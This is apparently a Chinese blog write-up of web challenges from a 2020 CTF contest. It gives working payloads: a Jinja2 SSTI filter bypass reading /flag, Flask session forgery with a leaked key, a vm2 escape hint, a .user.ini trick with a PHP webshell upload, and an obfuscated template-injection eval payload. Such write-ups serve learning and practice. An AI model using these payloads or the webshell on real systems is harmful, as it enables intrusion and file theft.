赛博杯2020WP web

最新推荐文章于 2023-08-16 00:53:50 发布
最新推荐文章于 2023-08-16 00:53:50 发布
阅读量2.7k 收藏
点赞数
分类专栏： CTF 文章标签： php 信息安全 python
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_45708109/article/details/107645816
版权

尖尖的商店1

直接抓包修改钱数拿到flag

Easy-Baby-Signin

套娃题目，
1.先抓包。用bp弱口令爆破http认证。猜测用户名是admin。爆破得到密码为123456789。
2.查看页面源代码发现给出了图片的base64在这里插入图片描述因为jpg参数可控尝试解码。发现是2次base64和1次16进制转字符串来的。
于是尝试读取源码。把index.php经过1次字符串转16进制和2次base64之后传入jpg。在这里插入图片描述发现了熟悉的PD9直接base64解码得到index.php

<?php
/*
 do you know magicword.txt?
 */
error_reporting(E_ALL || ~E_NOTICE);


header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'."Hacked_by_whiskey".'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
	
	if(strpos($file,'test') == false)
	{
		$txt = base64_encode(file_get_contents($file));
		echo "<img src='data:image/gif;base64,".$txt."'></img>";
		echo "Can you find the flag file?";
	}
	else
	{
		echo "Not here!Try again!";
	}

	


?>

注释发现还存在magicword.txt,访问

<?php
#atest.php
#GOAL: get the secret;
   
class icanhear {var $mykey; var $myword;}

$magicword = unserialize($_GET['magicword']);

echo "just tell me the magicword\n";

$magicword->myword = "***********";

if ($magicword->myword === $magicword->mykey)
         echo "Sooooo close: ".$magicword->myword;
     else
         echo "Damn  it !";
         
?>

这是一道反序列化题目，需要我们自己构造序列化。题目GET到了一个magicword参数并将其反序列化
在这里插入图片描述

构造POC，将其传入magicword在这里插入图片描述访问这个网页
在这里插入图片描述给出了2部分flag，已知flag2的md5前六位的值是1024cc让我们找出flag2.
可以用python写一个脚本爆破

import hashlib
for i in range(1,10000000):
    res=hashlib.md5(str(i).encode()).hexdigest()
    if res[:6]=="1024cc":
        print(str(i))
        break

爆破得到flag2的值为7900588
flag{wa0_7900588_is_right}

尖尖的商店2.0

100点买的一部分源码：

@app.errorhandler(404)
def page_not_found(e):
    referrer = request.headers.get("Referer")

    if referrer is None:
        referrer = '/'
    if not valid_url(referrer):
        referrer = '/?error'

    html = '<html><head><meta http-equiv="Refresh" content="3;URL={}"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>'.format(
        referrer)

    return render_template_string(html), 404

依然是flask框架，这道题考点是flask session伪造
相关资料：https://www.cnblogs.com/zaqzzz/p/10243961.html
先ssti注入获取密钥
在这里插入图片描述在这里插入图片描述session前一部分base64解码得到
{“money”:“1000”}
应该是要伪造session脚本替换session改money
加密命令

py -3 flask_session_cookie_manager3.py decode -c eyJtb25leSI6IjEwMDAifQ.X2_fCA.BNcd6iLFjwXJRjMCqDwLPhEkxYc -s vlmalkdguv923rufkjdsa7823312e

解密命令

py -3 flask_session_cookie_manager3.py encode -t {'money':'10000000'} -s vlmalkdguv923rufkjdsa7823312e

注意没有空格，因为空格被坑了

ezflask

flask ssti 绕过
wendell学长的绕过思路:https://xz.aliyun.com/t/8029

py脚本把字符用过滤器表示出来

payload = '{%set pc = g|lower|list|first|urlencode|first%}{%set c=dict(c=1).keys()|reverse|first%}{%set udl=dict(a=pc,c=c).values()|join %}'
payload = ''
def get_alp(alp, goal):
    num = ord(alp)
    result = '{%set {goal}=dict(a={goal},c=udl%({num})).values()|join %}'.replace('{num}', str(num)).replace('{goal}', goal)
    return result
def get_word(des, goal):
#goal = 'ds2'
#des = '__globals__'
    result = ''
    for i in des:
        result += (get_alp(i, goal))
    return result
def main():
    # poc = "url_for.__globals__.__builtins__.open('/flag').read()"
    i = 0
    while(1):
        text = input('>')
        print('i'+str(i), end=':')
        print(get_word(text, 'i'+str(i)))
        i += 1
main()

最终payload:

http://127.0.0.1:19009/?name={%set pc = g|lower|list|first|urlencode|first%}{%set c=dict(c=1).keys()|reverse|first%}{%set udl=dict(a=pc,c=c).values()|join %}{%set ds=dict(a=ds,c=udl%(95)).values()|join %}{%set ds=dict(a=ds,c=udl% (95)).values()|join %}{%set ds=dict(a=ds,c=udl%(105)).values()|join %} {%set ds=dict(a=ds,c=udl%(110)).values()|join %}{%set ds=dict(a=ds,c=udl% (105)).values()|join %}{%set ds=dict(a=ds,c=udl%(116)).values()|join %} {%set ds=dict(a=ds,c=udl%(95)).values()|join %}{%set ds=dict(a=ds,c=udl% (95)).values()|join %}{%set ds2=dict(a=ds2,c=udl%(95)).values()|join %}{%set ds2=dict(a=ds2,c=udl%(95)).values()|join %}{%set ds2=dict(a=ds2,c=udl% (103)).values()|join %}{%set ds2=dict(a=ds2,c=udl%(108)).values()|join %} {%set ds2=dict(a=ds2,c=udl%(111)).values()|join %}{%set ds2=dict(a=ds2,c=udl%(98)).values()|join %}{%set ds2=dict(a=ds2,c=udl% (97)).values()|join %}{%set ds2=dict(a=ds2,c=udl%(108)).values()|join %} {%set ds2=dict(a=ds2,c=udl%(115)).values()|join %}{%set ds2=dict(a=ds2,c=udl%(95)).values()|join %}{%set ds2=dict(a=ds2,c=udl% (95)).values()|join %}{%set i0=dict(a=i0,c=udl%(47)).values()|join %}{%set i0=dict(a=i0,c=udl% (102)).values()|join %}{%set i0=dict(a=i0,c=udl%(108)).values()|join %} {%set i0=dict(a=i0,c=udl%(97)).values()|join %}{%set i0=dict(a=i0,c=udl% (103)).values()|join %}{%set i1=dict(a=i1,c=udl%(95)).values()|join %}{%set i1=dict(a=i1,c=udl% (95)).values()|join %}{%set i1=dict(a=i1,c=udl%(98)).values()|join %}{%set i1=dict(a=i1,c=udl%(117)).values()|join %}{%set i1=dict(a=i1,c=udl% (105)).values()|join %}{%set i1=dict(a=i1,c=udl%(108)).values()|join %} {%set i1=dict(a=i1,c=udl%(116)).values()|join %}{%set i1=dict(a=i1,c=udl% (105)).values()|join %}{%set i1=dict(a=i1,c=udl%(110)).values()|join %} {%set i1=dict(a=i1,c=udl%(115)).values()|join %}{%set i1=dict(a=i1,c=udl% (95)).values()|join %}{%set i1=dict(a=i1,c=udl%(95)).values()|join %}{%for k,v in (app|attr(ds)|attr(ds2)).items()%}{%if (k|string )==i1 %} {{v.open(i0).read()}}{%endif%}{%endfor%}

ezcalc

考点:正则绕过+vm逃逸
源码：

var express = require('express');
var router = express.Router();
const { VM } = require('vm2');


function safeEval(calc) {
  if (calc.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
    return null;
  }
  return new VM().run(calc);
}
router.get('/', function (req, res, next) {
  let result = '';
  if (req.query.calc) {
    let calc = req.query.calc;
    result = safeEval(calc);

  }
  else {
    result = '?calc=2-1'
  }

  res.render('index', { title: 'ezcalc', result: result });
});

module.exports = router;

这里要注意正则表达式，这次还是对正则表达式掌握不熟练。这个正则表达式可以使用Math.xxxxx(xxxx指的是任何单词)推荐一个学习正则的网站:https://regexr-cn.com/
所以可以获取到Math.constructor,获取两次后,就是 Function 对象,就可以可以任意代码执⾏

Hacked by V

1.根据源码可以知道后台目录是/login.php
可以根据题目给的弱口令进去。
2.在这里插入图片描述这里有个可以写入shell的点，我们点编辑，确认上传的时候抓包可以指定目录写入文件。这里我们要先确定什么类型的文件可以被写入。题目给出了源码。
在这里插入图片描述只允许上传这些后缀的文件。看到ini很容易联想到.user.ini文件，这个文件可以让一个指定文件变成php文件，但是前提是当前文件夹中存在一个php文件才可，因为连接webshell的时候是需要使用这个php文件的。我们上传一个.user.ini文件，里面写着auto_prepend_file=shell.htm 这样名为shell.htm的文件就会被php解析。
抓包改包在这里插入图片描述我们通过源码可以发现core文件夹里有很多php文件。于是我们在core里上传.user.ini和shell.htm
修改POST数据分别为

activepath=/template/../core&filename=.user.ini&content=auto_prepen d_file=shell.htm&_ajax=1

activepath=/template/../core&filename=shell.htm&content=<?php $fun = create_function('',$_POST['a']);$fun();?>&_ajax=1

在这里插入图片描述两个包都发送后连接shell
在这里插入图片描述这里要注意要连接其中一个php文件而不是shell.htm！
在这里插入图片描述

dangerous-function

题目就是dangerous-function，因此危险函数就是eval函数或者是system()函数，通过搜索可以找到源码中的eval函数。
相关代码片段: 再zzz_temple.php这个文件中解析if标签

function parserIfLabel( $zcontent ) {
		$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
		if ( preg_match_all( $pattern, $zcontent, $matches ) ) {
			$count = count( $matches[ 0 ] );
			for ( $i = 0; $i < $count; $i++ ) {
				$flag = '';
				$out_html = '';
				$ifstr = $matches[ 1 ][ $i ];
				$ifstr=danger_key($ifstr,1);
                if(strpos($ifstr,'=') !== false){
                   $arr= splits($ifstr,'=');
                    if($arr[0]=='' || $arr[1]==''){
                         error('很抱歉，模板中有错误的判断,请修正【'.$ifstr.'】');
                    }
                   $ifstr = str_replace( '=', '==', $ifstr );	
                }
				$ifstr = str_replace( '<>', '!=', $ifstr );
				$ifstr = str_replace( 'or', '||', $ifstr );
				$ifstr = str_replace( 'and', '&&', $ifstr );
				$ifstr = str_replace( 'mod', '%', $ifstr );
				$ifstr = str_replace( 'not', '!', $ifstr );
                if ( preg_match( '/\{|}/', $ifstr)) {    
                  error('很抱歉，模板中有错误的判断,请修正'.$ifstr);
                }else{
                  @eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
                }              
				
				if ( preg_match( '/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) { // 判断是否存在else				
					switch ( $flag ) {
						case 'if': // 条件为真
							if ( isset( $matches2[ 1 ] ) ) {
								$out_html .= $matches2[ 1 ];
							}
							break;
						case 'else': // 条件为假
							if ( isset( $matches2[ 2 ] ) ) {
								$out_html .= $matches2[ 2 ];
							}
							break;
					}
				} elseif ( $flag == 'if' ) {
					$out_html .= $matches[ 2 ][ $i ];
				}
				// 无限极嵌套解析
				$pattern2 = '/\{if([0-9]):/';
				if ( preg_match( $pattern2, $out_html, $matches3 ) ) {
					$out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html );
					$out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html );
					$out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html );
					$out_html = $this->parserIfLabel( $out_html );
				}
				// 执行替换
				$zcontent = str_replace( $matches[ 0 ][ $i ], $out_html, $zcontent );
			}
		}
		return $zcontent;
	}

{if:(eval_code)}相同结果{else}不相同结果{end if}

到这⾥应该能知道这是模板注⼊，⽽⻚⾯中只有搜索框可以注⼊ 这⾥主要⽤到动态函数 多次调试后可以得到 flag ⽅法应该很多

最终payload

 {if:var_dump(((strrev(stnetnoc_teg_elif)))((strrev(edoced_46esab)) (Li8uLi8uLi8uLi8uLi8uLi8uLi9mbGFn)))}
旸哥哥
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
专栏目录
赛博地球杯线下赛WEB_RCE Write_up
fly小灰灰的专栏
01-30 1459
这次参与赛博地球杯线下赛出题，看到巨佬们强还是强啊，先膜一下，然后献上自己的出题思路，萌新出题，轻喷 ！！！ 第一步、登录 查看网站发现网站无法登录，并且根据robots.txt能发现hint.php和hack.php 不过可以注意到cookie中存在isLogin=0，设置cookie，isLogin=1，发现成功登录 第二步、文件包含 成功登录，发现一个管理页面adm
[羊城杯2021] wp
Huamang的博客
09-13 1295
baby_ volatility直接看镜像文件，查看cmd filescan找到有一个ssh.txt 想到之前搭建博客的时候就接触这个ssh密钥，拿去base64decode 找到邮箱，去github找用户 在历史commit里面有个这个？？RCTF？？ 去分析一下这个__APP__ 里面有html 我直接去kali里面foremost一下 打开后找到了一个隐蔽的flag，真难找。。 U2FuZ0ZvcntTMF8zYXp5XzJfY3JhY2tfbm9vYl9wbGF5ZXJ9 解出 签到
赛博杯2020WP misc
Yang_99的博客
07-28 1537
我的二维码，时尚时尚最时尚 formost分离得到两张图，但是图片大小不一，需要P成大小一样的然后两张图XOR α层 考点重复了，同样是两张图XOR python2-人工智障 python2下的input函数有风险 学习网站https://www.jianshu.com/p/668bfbdb6813 payload:import(‘os’).system(‘cat /flag’) sign_in 十六进制转字符串 ⎛⎝WDNMD⎠⎞ IDA打开寻找字符串，前一段在data行里 后一段是竖着的十六进制数 标题
2020安洵杯部分WP —— 没人比我更懂签到题和问卷题队伍
晚安這個未知的世界
11-26 2437
前言 这次参加2020安洵杯CTF，感觉题目都并不是很难，除了web题，但是要狠狠的吐槽这个平台，太无语了，一直挂一直掉，提交flag一直卡，时不时网站直接404，简直无语了，下次这样就不想打了，没心情打。还好，第一次参加这个比赛取得了第32名的名次，虽然没有进前十，不过都尽力了，毕竟我太菜了，继续加油，争取下次打进线下。 MISC——签到 题目附件是一个jpg的二维码，扫码关注微信公众号 打开word文档把里面的 打开word文档把里面的表情解码一下就获得flag 解码网站http://www
HZNUCTF-ezflask
qq_44640313的博客
03-27 597
jinja2的注入
DASCTF 2023 & 0X401七月暑期挑战赛 Web方向 EzFlask ez_cms MyPicDisk 详细题解wp
Jay17的博客
08-05 1576
DASCTF 2023 & 0X401七月暑期挑战赛 Web方向 EzFlask ez_cms MyPicDisk 详细题解wp
HZNUCTF2023 web
weixin_63231007的博客
05-07 1710
HZNUCTF校赛 赛后复现
赛博地球杯工业互联网安全大赛wp1
08-03
赛博地球杯工业互联网安全大赛 WP1 涵盖了网络协议、PHP、SQL 和 Web 应用安全等多个方面的知识点。通过对 WP1 的解析，我们可以更好地理解工业互联网安全的相关知识点，并提高自己的安全技术和解决问题的能力。
Online_Cyberpunk_Generator:赛博朋克2020在线角色生成器
05-24
《在线赛博朋克2020角色生成器——JavaScript技术深度解析》 在数字化的浪潮中，赛博朋克文化以其独特的魅力吸引了无数科技与艺术爱好者。"Online_Cyberpunk_Generator"是一个基于赛博朋克2020角色扮演游戏背景的...
赛博地球杯工业互联网安全大赛web题--工控系统的敏感消息遭泄漏
r00tnb的博客
07-26 1294
前言 web题大致看了一下，都没啥思路。。。。。麻蛋签到题也不会，但是这道题我是有思路的，套路跟以前做过的ctf题目类似，算是中规中矩的题目了。 分析 题目内容： 云平台消息中心，泄漏了不该泄漏的消息。导致系统可以被入侵。 既然是信息泄露，首先想到的是源码泄露。试了一下，发现是git目录泄露，那么利用工具直接把git目录下载下来（工具网上有但我是自己写的，有时间写一篇博客记录...
EZ-Login:Flask最简单的登录系统
03-08
EZ登录 要求 您只需要安装Python和Flask。 要获得Flask，您可以通过pip install Flask或进行pip3 install Flask 。 设置 设置登录系统非常简单。 您实际上无法进行git clone因为您只需要克隆一个文件夹即可。 复制并粘贴并将其放入名为Login.py的文件中。 接下来创建一个名为Users.json全新JSON文件。 确保它与Login.py在同一目录中，并确保其中没有数据。 空白表示： {} 。
GACTF2020 simpleflask& EZFLASK
汗的博客
09-03 1381
信息收集 直接访问，提示方法不允许 使用burpsuite，右键-change request method 提示了个name，猜测是参数 因为题目是flask，容易想到ssti，直接试name={{2*2}} 再试，因为可能是有过滤、waf之类的name={{2-2}}，可以看到2-2有了结果 可以确定是存在ssti的，接下来就是具体的bypass和get flag了 bypass&利用 用burp进行一次fuzz，还做不到颅内ctf，以下是一个简单的fuzz字符list [ ] ( \
Flask（四）
qq_60381063的博客
09-11 269
2，session：session和cookie的作用有点类似，都是为了存储用户相关的信息，不同的是，cookie是存储在本地浏览器，session是一个思路、一个概念、一个服务器存储授权信息的解决方案，不同的服务器，不同的框架，不同的语言有不同的实现，虽然实现不同，但是他们的目的都是服务器为了方便存储数据的，session的出现，是为了解决cookie存储数据不安全的问题。wtforms表单的两个主要功能是验证用户提交数据的合法性以及渲染模板，当然还包括一些其他功能：CSRF保护、文件上传等。
NUAACTF - Web - Ez_Flask
1tachi的博客
12-27 602
按照提示随便传一个：?name=123 可能存在模板渲染，检测一下：?name=${2*7} ?name={{7*7}} ?name={{7*'7'}} 发现是 jinja2 渲染 看一下所有的类：?name={{[].__class__.__base__.__subclasses__()}} 可以一点一点的往下找，也可以直接写payload {% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ ==.
【CTF】Python原型链污染
Luminous_song的博客
08-05 1035
在Python中每个对象都有一个原型，原型上定义了对象可以访问的属性和方法。当对象访问属性或方法时，会先在自身查找，如果找不到就会去原型链上的上级对象中查找，原型链污染攻击的思路是通过修改对象原型链中的属性，使得程序在访问属性或方法时得到不符合预期的结果。
[DASCTF7月赛]（未完待续~）
leekos的博客，分享web安全相关知识~
07-24 273
2023DASCTF7月赛
[HZNUCTF 2023 preliminary] 2023杭师大校赛（初赛） web方向题解wp 全
最新发布
Jay17的博客
08-16 1377
[HZNUCTF 2023 preliminary] 2023杭师大校赛（初赛） web方向题解wp 全
HDCTF2 wp
Firebasky的博客
10-21 1334
前段时间创建了海南大学举报的hdctf2。以校外的身份参加，最后获得了举办方提供的小礼品，非常感谢 web by Firebasky signin 查看源代码，base64解密 babysql https://bbs.ichunqiu.com/thread-44483-1-1.html 查看字段 payload:1'order by 3%23 获得flag:1'union select 1,2,flag from flag%23 babyrce payload：127.0.0.1|cat /fla.
ctfshow-2023愚人杯部分wp
adorkablezhenbai的博客
04-02 2344
新手web参加愚人杯
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值